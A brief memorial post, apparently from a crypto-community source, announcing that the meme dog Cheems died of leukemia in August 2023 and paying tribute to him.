Cheems - The legendary Shiba Inu popularly known as "Cheems" faced a tragic turn of events when he was diagnosed with leukemia in December 2022. Despite the outpouring of support from his online community, friends and family Cheems sadly passed away on August 19, 2023...

It is a sad day for all of the crypto community. Cheems was an inspiration for many popular memes. 

Rest in Peace our dear friend. You will be loved forever, Cheems!
